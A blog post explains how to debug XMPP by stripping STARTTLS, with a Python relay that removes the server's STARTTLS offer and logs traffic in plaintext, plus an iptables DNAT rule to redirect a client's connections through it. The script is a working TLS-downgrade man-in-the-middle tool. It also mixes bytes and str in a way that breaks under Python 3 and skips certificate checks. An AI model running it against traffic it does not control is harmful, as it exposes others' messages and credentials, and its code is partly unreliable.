Important Notice: this service will be discontinued by the end of 2024 because for multiple years now, Plume is no longer under active/continuous development. Sadly each time there was hope, active development came to a stop again. Please consider using our Writefreely instance instead.

Debugging XMPP by stripping STARTTLS

The bad way

A few weeks ago I needed to debug some XMPP things that were behind starttls.
(Well okay, more along the lines of I wanted to be able to inject and modify things in XMPP streams between a client I controlled and server I did not control. But also in general figure out what the heck was going on.)

Anyway, I stole someone's starttls stripping python script and attempted to deploy it.

And it didn't work.

So I stole someone else's script and that still didn't work but I made some changes and also did a python 3 and now it actually works.

Here's the setup: You'll need access to whatever is routing your packets, and ideally it should have something like iptables on it. In my situation I was running the target client on my desktop, which is routed through my laptop, so I ran the starttls strip script on my laptop and did an iptables rule to MITM the traffic I needed.

Here's the code
please excuse the awful quality, it's mostly stolen and I usually do better I swear

#!/usr/bin/env python

import sys, socket, threading, ssl
from select import select

HOST = '0.0.0.0'
PORT = 13370
BUFSIZE = 4096

XMPP_SERVER = 'legitxmpp.server'
XMPP_PORT = 5222

def do_relay(client_sock, server_sock):
  server_sock.settimeout(1.0)
  client_sock.settimeout(1.0)
  print('RELAYING')
  startTLSDone = 0
  while 1:
    try:

      receiving, _, _ = select([client_sock, server_sock], [], [])
      if client_sock in receiving:
        p = client_sock.recv(BUFSIZE)
        if len(p):
          print("C->S", len(p), repr(p))
        server_sock.send(p)

      if server_sock in receiving:
        p = server_sock.recv(BUFSIZE)
        if len(p):
          print("S->C", len(p), repr(p))

        if b'starttls' in p and not startTLSDone:
          # Strip StartTLS from the server's FEATURES
          p = p.replace(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'></starttls>", b'')
          p = p.replace(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls>", b"")
          p = p.replace(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>", b"")

          print("S->C modified", len(p), repr(p))

          # Do startTLS handshake with the server
          print('Wrapping server socket.')
          server_sock.send(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
          x = server_sock.recv(BUFSIZE)
          print("starttls resp", len(x), repr(x))
          server_sock = ssl.wrap_socket(server_sock, suppress_ragged_eofs=True)
          print("starttls complete")

          # SSL handshake done; re-open the stream
          server_sock.send(b"<stream:stream to='" + XMPP_SERVER + "' xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' xml:lang='en' version='1.0'>")

          print("reopened stream")

          # Receive the server's features
          x = server_sock.recv(BUFSIZE)
          print("got new features", len(x), repr(x))
          startTLSDone = 1

        client_sock.send(p)

    except socket.error as e:
      if "timed out" not in str(e):
        raise e


def child(clientsock,target):
  targetsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  targetsock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  targetsock.connect((target,XMPP_PORT))
  do_relay(clientsock, targetsock)

if __name__=='__main__':
  target = XMPP_SERVER
  myserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  myserver.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  myserver.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  myserver.bind((HOST, PORT))
  myserver.listen(2)
  print('LISTENER ready on port', PORT)
  while 1:
    client, addr = myserver.accept()
    print('CLIENT CONNECT from:', addr)
    threading.Thread(target=child, args=(client,target)).start()

Here's the iptables:

iptables -t nat -A PREROUTING -p tcp --dport 5222 -d <the actual xmpp server address> -j DNAT --to-destination <your local address>:13370

For completeness, I'll explain everything. Skip this if you know how iptables works:

  • -t nat: deal with the NAT (Network Address Translation) table. Because we're translating network addresses.
  • -A PREROUTING Append to the PREROUTING table (which processes incoming packets before they get routed)
  • -p tcp --dport 5222: Look for TCP packets going to port 5222
  • -d <...>: Look for packets going to this IP address
  • -j DNAT: Apply the DNAT (destination address NAT) action, which overwrites the destination address of the packet with yours, but it also tracks state so when your fake destination address replies with its own packets, they also get translated to look like they actually came from the real address
  • --to-destination <...>: the fake address to use

Note the <your local address> needs to actually be an interface address, preferably on the interface your client is on. It can't be 127.0.0.1.

If your setup isn't like mine (which it probably isn't) you may be running the target client on the same machine as this script. The iptables hackery becomes a little more problematic because you'll have to make it differentiate between your target client (which should give the packets to you) and the starttls strip script (which should give the packets to the actual server). You'd need some stuff in there vaguely along the lines of ... -A INPUT -m owner --pid-owner <pid of xmpp client> ..., I think.

Anyway, now you should get plaintext XMPP stuff dumped to the console! Yay!